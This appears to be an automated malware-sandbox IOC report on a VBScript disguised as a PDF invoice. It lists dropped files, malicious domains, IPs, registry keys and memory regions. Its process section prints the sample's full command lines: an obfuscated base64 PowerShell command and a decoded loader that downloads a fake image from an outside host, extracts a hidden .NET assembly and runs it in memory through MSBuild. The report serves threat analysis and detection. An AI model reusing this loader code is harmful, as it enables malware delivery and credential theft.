IOC Report
Factura.PDF______________________________________.vbs

loading gif

Files

File Path
Type
Category
Malicious
Factura.PDF______________________________________.vbs
Unicode text, UTF-16, little-endian text, with CRLF line terminators
initial sample
 malicious
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\thAhY[1].txt
Unicode text, UTF-8 text, with very long lines (11128), with CRLF line terminators
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
data
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
data
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5z25d1o2.jk3.ps1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_b4uatg5b.fof.psm1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hnu5whkh.i3f.ps1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rctxvwri.4a1.psm1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\places.raw
SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
dropped
C:\Users\user\AppData\Local\Temp\tmp1BEA.tmp.dat
SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
dropped
C:\Users\user\AppData\Local\Temp\tmp1BFB.tmp.dat
SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
dropped
C:\Users\user\AppData\Local\Temp\tmp1BFC.tmp.dat
SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
modified
C:\Users\user\AppData\Local\Temp\tmp31E5.tmp.dat
SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
dropped
C:\Users\user\AppData\Local\Temp\tmp31E6.tmp.dat
SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
dropped
C:\Users\user\AppData\Local\Temp\tmpA717.tmp.dat
SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
dropped
C:\Users\user\AppData\Local\Temp\tmpBC62.tmp.dat
SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
dropped
C:\Users\user\AppData\Local\Temp\tmpBC72.tmp.dat
SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
dropped
C:\Users\user\AppData\Local\Temp\tmpBC83.tmp.dat
SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 5
dropped
C:\Users\user\AppData\Local\Temp\tmpBC94.tmp.dat
SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
dropped
C:\Users\user\AppData\Local\Temp\tmpBCA4.tmp.dat
SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
dropped
\Device\Mup\user-PC*\MAILSLOT\NET\NETLOGON
data
dropped
\Device\Mup\user-PC\PIPE\samr
GLS_BINARY_LSB_FIRST
dropped
\Device\Mup\user-PC\PIPE\wkssvc
GLS_BINARY_LSB_FIRST
dropped
There are 13 hidden files, click here to show them.

Processes

Path
Cmdline
Malicious
C:\Windows\System32\wscript.exe
C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Factura.PDF______________________________________.vbs"
 malicious
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTre7DgTreCDgTreDgTreaQBmDgTreCDgTreDgTreKDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTretDgTreG4DgTreZQDgTregDgTreCQDgTrebgB1DgTreGwDgTrebDgTreDgTrepDgTreCDgTreDgTreewDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreFQDgTreZQB4DgTreHQDgTreLgBFDgTreG4DgTreYwBvDgTreGQDgTreaQBuDgTreGcDgTreXQDgTre6DgTreDoDgTreVQBUDgTreEYDgTreODgTreDgTreuDgTreEcDgTreZQB0DgTreFMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreQgB5DgTreHQDgTreZQBzDgTreCkDgTreOwDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBTDgTreFQDgTreQQBSDgTreFQDgTrePgDgTre+DgTreCcDgTreOwDgTregDgTreCQDgTreZQBuDgTreGQDgTreRgBsDgTreGEDgTreZwDgTregDgTreD0DgTreIDgTreDgTrenDgTreDwDgTrePDgTreBCDgTreEEDgTreUwBFDgTreDYDgTreNDgTreBfDgTreEUDgTreTgBEDgTreD4DgTrePgDgTrenDgTreDsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreEkDgTrebgBkDgTreGUDgTreeDgTreBPDgTreGYDgTreKDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBJDgTreG4DgTreZDgTreBlDgTreHgDgTreTwBmDgTreCgDgTreJDgTreBlDgTreG4DgTreZDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTregDgTreGkDgTreZgDgTregDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreGUDgTreIDgTreDgTrewDgTreCDgTreDgTreLQBhDgTreG4DgTreZDgTreDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreHQDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreKQDgTregDgTreHsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreC4DgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreOwDgTregDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBlDgTreG4DgTreZDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreDsDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEMDgTrebwBtDgTreG0DgTreYQBuDgTreGQDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreFMDgTredQBiDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCwDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEwDgTreZQBuDgTreGcDgTredDgTreBoDgTreCkDgTreOwDgTregDgTreCQDgTreYwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreEMDgTrebwBuDgTreHYDgTreZQByDgTreHQDgTreXQDgTre6DgTreDoDgTreRgByDgTreG8DgTrebQBCDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBTDgTreHQDgTrecgBpDgTreG4DgTreZwDgTreoDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreQwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQDgTregDgTreD0DgTreIDgTreBbDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreUgBlDgTreGYDgTrebDgTreBlDgTreGMDgTredDgTreBpDgTreG8DgTrebgDgTreuDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQBdDgTreDoDgTreOgBMDgTreG8DgTreYQBkDgTreCgDgTreJDgTreBjDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreEIDgTreeQB0DgTreGUDgTrecwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHQDgTreeQBwDgTreGUDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBBDgTreHMDgTrecwBlDgTreG0DgTreYgBsDgTreHkDgTreLgBHDgTreGUDgTredDgTreBUDgTreHkDgTrecDgTreBlDgTreCgDgTreJwBQDgTreFIDgTreTwBKDgTreEUDgTreVDgTreBPDgTreEEDgTreVQBUDgTreE8DgTreTQBBDgTreEMDgTreQQBPDgTreC4DgTreVgBCDgTreC4DgTreSDgTreBvDgTreG0DgTreZQDgTrenDgTreCkDgTreOwDgTregDgTreCQDgTrebQBlDgTreHQDgTreaDgTreBvDgTreGQDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreB0DgTreHkDgTrecDgTreBlDgTreC4DgTreRwBlDgTreHQDgTreTQBlDgTreHQDgTreaDgTreBvDgTreGQDgTreKDgTreDgTrenDgTreFYDgTreQQBJDgTreCcDgTreKQDgTreuDgTreEkDgTrebgB2DgTreG8DgTreawBlDgTreCgDgTreJDgTreBuDgTreHUDgTrebDgTreBsDgTreCwDgTreIDgTreBbDgTreG8DgTreYgBqDgTreGUDgTreYwB0DgTreFsDgTreXQBdDgTreCDgTreDgTreKDgTreDgTrenDgTreHQDgTreeDgTreB0DgTreC4DgTreagBoDgTreGcDgTreLwBtDgTreG8DgTreYwDgTreuDgTreHUDgTrecgDgTreuDgTreHcDgTrecwBhDgTreGsDgTrebwBkDgTreG0DgTrebwBiDgTreC8DgTreLwDgTre6DgTreHMDgTrecDgTreB0DgTreHQDgTreaDgTreDgTrenDgTreCDgTreDgTreLDgTreDgTregDgTreCcDgTreZDgTreBlDgTreHMDgTreYQB0DgTreGkDgTredgBhDgTreGQDgTrebwDgTrenDgTreCDgTreDgTreLDgTreDgTregDgTreCcDgTreZDgTreBlDgTreHMDgTreYQB0DgTreGkDgTredgBhDgTreGQDgTrebwDgTrenDgTreCDgTreDgTreLDgTreDgTregDgTreCcDgTreZDgTreBlDgTreHMDgTreYQB0DgTreGkDgTredgBhDgTreGQDgTrebwDgTrenDgTreCwDgTreJwBNDgTreFMDgTreQgB1DgTreGkDgTrebDgTreBkDgTreCcDgTreLDgTreDgTrenDgTreCcDgTreKQDgTrepDgTreH0DgTreIDgTreB9DgTreDgTre==';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace('DgTre','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD"
malicious
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029', 'https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.jhg/moc.ur.wsakodmob//:sptth' , 'desativado' , 'desativado' , 'desativado','MSBuild',''))} }"
malicious
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
"C:\Windows\Microsoft.Net\Framework\v4.0.30319\MSBuild.exe"
 malicious
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
"C:\Windows\Microsoft.Net\Framework\v4.0.30319\MSBuild.exe"
 malicious
C:\Windows\System32\conhost.exe
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

URLs

Name
IP
Malicious
https://bomdokasw.ru.com/ghj.txt
66.90.95.11
 malicious
https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029
104.21.45.138
 malicious
91.92.242.85
malicious
http://app01.system.com.br/RDWeb/Pages/login.aspx
unknown
 malicious
https://duckduckgo.com/chrome_newtab
unknown
https://duckduckgo.com/ac/?q=
unknown
https://paste.ee/d/thAhYolume4Z
unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico
unknown
https://go.microsoft.co
unknown
https://paste.ee/d/thAhYs
unknown
https://www.google.com;
unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
unknown
https://analytics.paste.ee
unknown
http://app01.system.com.br/RDWeb/Pages/login.aspx0
unknown
https://aka.ms/pscore6
unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
unknown
https://www.ecosia.org/newtab/
unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
unknown
https://urn.to/r/sds_seeaCould
unknown
http://james.newtonking.com/projects/json
unknown
https://paste.ee/d/thAhYf/
unknown
https://paste.ee/d/thAhY
104.21.84.67
http://app01.system.com.br/RDWeb/Pages/login.aspxd
unknown
https://ac.ecosia.org/autocomplete?q=
unknown
https://www.google.com
unknown
https://github.com/LimerBoy/StormKitty
unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
unknown
https://www.newtonsoft.com/jsonschema
unknown
https://paste.ee/
unknown
http://app01.system.com.br/RDWeb/Pages/login.aspxT
unknown
https://analytics.paste.ee;
unknown
https://www.nuget.org/packages/Newtonsoft.Json.Bson
unknown
https://cdnjs.cloudflare.com
unknown
https://aka.ms/pscore68
unknown
https://support.mozilla.org
unknown
https://urn.to/r/sds_see
unknown
https://cdnjs.cloudflare.com;
unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
unknown
https://secure.gravatar.com
unknown
https://themes.googleusercontent.com
unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK
unknown
There are 32 hidden URLs, click here to show them.

Domains

Name
IP
Malicious
uploaddeimagens.com.br
104.21.45.138
 malicious
bomdokasw.ru.com
66.90.95.11
 malicious
paste.ee
104.21.84.67
fp2e7a.wpc.phicdn.net
192.229.211.108
time.windows.com
unknown

IPs

IP
Domain
Country
Malicious
104.21.45.138
uploaddeimagens.com.br
United States
malicious
66.90.95.11
bomdokasw.ru.com
United States
malicious
91.92.242.85
unknown
Bulgaria
malicious
104.21.84.67
paste.ee
United States

Registry

Path
Value
Malicious
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
EnableFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
EnableAutoFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
EnableConsoleTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
FileTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
ConsoleTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
MaxFileSize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
FileDirectory
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
EnableFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
EnableAutoFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
EnableConsoleTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
FileTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
ConsoleTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
MaxFileSize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
FileDirectory
HKEY_CURRENT_USER\SOFTWARE\5E1F5B763F5B70F50208
66DBE3B90371FE58CAA957E83C1C1F0ACCE941A36CF140A0F07E64403DD13303
HKEY_CURRENT_USER\SOFTWARE\5E1F5B763F5B70F50208
5C34AEE5196E0F8615B8D1D9017DD710EA28D2B7AC99295D46046D12EEA58D78
There are 6 hidden registries, click here to show them.

Memdumps

Base Address
Regiontype
Protect
Malicious
3091000
trusted library allocation
page read and write
 malicious
71F0000
trusted library section
page read and write
 malicious
402000
remote allocation
page execute and read and write
 malicious
7001C0E000
stack
page read and write
1322BC8F000
trusted library allocation
page read and write
22664EAA000
heap
page read and write
22664F07000
heap
page read and write
13243D8C000
heap
page read and write
7000AFE000
stack
page read and write
1322BD96000
trusted library allocation
page read and write
22665310000
heap
page read and write
2266595F000
heap
page read and write
1620000
trusted library allocation
page read and write
574D000
stack
page read and write
40FA000
trusted library allocation
page read and write
22662DB9000
heap
page read and write
13243D8F000
heap
page read and write
22664FB0000
heap
page read and write
22664F3E000
heap
page read and write
7FFAABEF0000
trusted library allocation
page execute and read and write
4DF8EFD000
stack
page read and write
22664F1B000
heap
page read and write
7FFAABD32000
trusted library allocation
page read and write
2DF2000
trusted library allocation
page read and write
7FFB226E2000
unkown
page readonly
140E000
stack
page read and write
22664F15000
heap
page read and write
13229DE0000
heap
page read and write
5C3E000
stack
page read and write
226647E4000
heap
page read and write
226659B1000
heap
page read and write
700103E000
stack
page read and write
6933000
heap
page read and write
40DB000
trusted library allocation
page read and write
22662DEA000
heap
page read and write
226647EE000
heap
page read and write
226647C1000
heap
page read and write
22665960000
heap
page read and write
7FFB226E0000
unkown
page read and write
22509401000
trusted library allocation
page read and write
2058D13000
stack
page read and write
1610000
trusted library allocation
page read and write
22664E90000
heap
page read and write
40F7000
trusted library allocation
page read and write
2253CA93000
heap
page read and write
22662E46000
heap
page read and write
7FFAABEEA000
trusted library allocation
page read and write
1322C042000
trusted library allocation
page read and write
7FFAABDEC000
trusted library allocation
page execute and read and write
1636000
trusted library allocation
page execute and read and write
10F7000
stack
page read and write
13229E70000
heap
page read and write
6554000
trusted library allocation
page read and write
42A3000
trusted library allocation
page read and write
5DF0000
trusted library allocation
page read and write
13229E49000
heap
page read and write
6690000
trusted library allocation
page execute and read and write
13229DD5000
heap
page read and write
6BD0000
trusted library allocation
page read and write
20592FE000
stack
page read and write
1322B6F0000
heap
page read and write
226658A4000
heap
page read and write
14C0000
heap
page read and write
6810000
trusted library allocation
page read and write
226647D0000
heap
page read and write
7001C8D000
stack
page read and write
1322BA80000
heap
page readonly
22662E16000
heap
page read and write
226659D8000
heap
page read and write
22665958000
heap
page read and write
22665952000
heap
page read and write
205937E000
stack
page read and write
20591FD000
stack
page read and write
7FFAABF00000
trusted library allocation
page execute and read and write
4DF89FE000
stack
page read and write
2253E4D0000
heap
page read and write
22500A01000
trusted library allocation
page read and write
22662E57000
heap
page read and write
12FB000
heap
page read and write
67C0000
trusted library allocation
page read and write
226647D7000
heap
page read and write
1640000
heap
page read and write
226647EE000
heap
page read and write
2253CAC0000
heap
page read and write
22664EBC000
heap
page read and write
40BF000
trusted library allocation
page read and write
1322C07A000
trusted library allocation
page read and write
22664EAD000
heap
page read and write
22664F18000
heap
page read and write
22662D90000
heap
page read and write
22662DF8000
heap
page read and write
22665958000
heap
page read and write
2253CB07000
heap
page read and write
DF6000
heap
page read and write
1600000
trusted library allocation
page read and write
1322B6F6000
heap
page read and write
13243EB0000
heap
page read and write
226647EE000
heap
page read and write
226657C9000
heap
page read and write
13229DB0000
heap
page read and write
226647C4000
heap
page read and write
2250BC01000
trusted library allocation
page read and write
7FFAAC040000
trusted library allocation
page read and write
13229E29000
heap
page read and write
765E000
stack
page read and write
751E000
stack
page read and write
7000E3F000
stack
page read and write
226659E8000
heap
page read and write
6409000
trusted library allocation
page read and write
22662E46000
heap
page read and write
428B000
trusted library allocation
page read and write
226659CD000
heap
page read and write
22664EA9000
heap
page read and write
12B3000
heap
page read and write
226647EE000
heap
page read and write
7FFAABF80000
trusted library allocation
page read and write
6BE0000
trusted library allocation
page read and write
226659F4000
heap
page read and write
226653A0000
heap
page read and write
7FFAABEE1000
trusted library allocation
page read and write
22662E1D000
heap
page read and write
22662DDC000
heap
page read and write
22664EA2000
heap
page read and write
226647CF000
heap
page read and write
4097000
trusted library allocation
page read and write
226647EE000
heap
page read and write
226647D3000
heap
page read and write
2253CB0C000
heap
page read and write
2253E5B6000
heap
page read and write
161D000
trusted library allocation
page execute and read and write
226647E9000
heap
page read and write
5AFE000
stack
page read and write
7FFAABED0000
trusted library allocation
page read and write
7000FB9000
stack
page read and write
679D000
stack
page read and write
226651E0000
heap
page read and write
226647D0000
heap
page read and write
226647DE000
heap
page read and write
7FFAABFA0000
trusted library allocation
page read and write
1258000
heap
